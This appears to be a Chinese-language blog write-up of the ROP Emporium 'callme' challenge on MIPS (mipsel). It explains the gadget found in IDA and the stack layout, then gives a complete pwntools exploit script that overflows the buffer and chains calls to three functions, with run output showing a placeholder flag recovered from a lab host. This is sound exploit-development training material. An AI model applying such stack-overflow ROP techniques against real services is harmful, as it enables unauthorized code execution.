OneShell

I fight for a brighter tomorrow

0%

callme_mipsel

目的:需要构造ROP链来调用三个函数,并传入正确的参数。
在callme_one函数中是读取文件encrypted_flag.dat并保存到堆分配的空间g_buf中;callme_two函数读取文件key1.dat和g_buf进行逐字节异或解密;callme_three函数读取文件key2.dat继续和g_bug进行异或解密;
三个函数都会对传入的参数进行判定,参数符合条件再进行解密操作:

  • callme_one:arg1 == 0xDEADBEEF && arg2 == 0xCAFEBABE && arg3 == 0xD00DF00D
  • callme_two:arg1 == 0xDEADBEEF && arg2 == 0xCAFEBABE && arg3 == 0xD00DF00D
  • callme_thress:arg1 == 0xDEADBEEF && arg2 == 0xCAFEBABE && arg3 == 0xD00DF00D
    在IDA中可以找到一个可用的gadget,如下 :
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    .text:00400BB0                               usefulGadgets:
    .text:00400BB0 10 00 A4 8F lw $a0, 0x10($sp)
    .text:00400BB4 0C 00 A5 8F lw $a1, 0xC($sp)
    .text:00400BB8 08 00 A6 8F lw $a2, 8($sp)
    .text:00400BBC 04 00 B9 8F lw $t9, 4($sp)
    .text:00400BC0 09 F8 20 03 jalr $t9
    .text:00400BC4 00 00 00 00 nop
    .text:00400BC4
    .text:00400BC8 14 00 BF 8F lw $ra, 0x14($sp)
    .text:00400BCC 08 00 E0 03 jr $ra
    .text:00400BD0 18 00 BD 23 addi $sp, 0x18
    第一个gadget的作用是:分别从sp+0x10、sp+0xc、sp+0x8获取a0、a1、a2参数,传递给保存在sp+0x4处的函数,跳转并执行;
    第二个gadget的作用是:跳转到sp+0x14执行,并开辟0x18大小的栈帧

ROP构造

漏洞函数依旧是pwnme,ra寄存器中的函数返回地址保存在:sp+0x3C,存在溢出的缓冲区buffer:sp+0x18,因此需要0x24个字节的数据填充到返回地址。
需要注意的是,当开始执行ROP,在pwnme函数中已经将堆栈指针sp进行了恢复,因此覆盖掉返回地址后,为了后期的数据布局,还需要继续覆盖4个字节,使得随后的参数可以正确布置到栈上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 填充到栈上的返回地址
rop = b"A" * 0x24

# 覆盖返回地址
rop += usefulGadgets
# 此时SP起始地址在此处
rop += b"B" * 0x04
rop += callme_one
rop += arg3
rop += arg2
rop += arg1

rop += usefulGadgets
# 在usefulGadgets也增加了SP,因此需要填充4个字节保证数据正确布置到栈上
rop += b"B" * 0x04
rop += callme_two
rop += arg3
rop += arg2
rop += arg1

rop += usefulGadgets
rop += b"B" * 0x04
rop += callme_three
rop += arg3
rop += arg2
rop += arg1

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
BINARY = "./callme_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

rop = b"A" * 0x24

for func in ['callme_one', 'callme_two', 'callme_three']:
rop += p32(0x00400BB0)
rop += b"B" * 0x4
rop += p32(ELF.symbols[func])
rop += p32(0xD00DF00D)
rop += p32(0xCAFEBABE)
rop += p32(0xDEADBEEF)

p = remote("10.0.0.2", 9999)
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

结果如下:

1
2
3
4
5
6
7
8
9
10
11
$ python3 exp.py
[*] '/home/utest/rop_practice/mipsel/callme_mipsel/callme_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to 10.0.0.2 on port 9999: Done
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 10.0.0.2 port 9999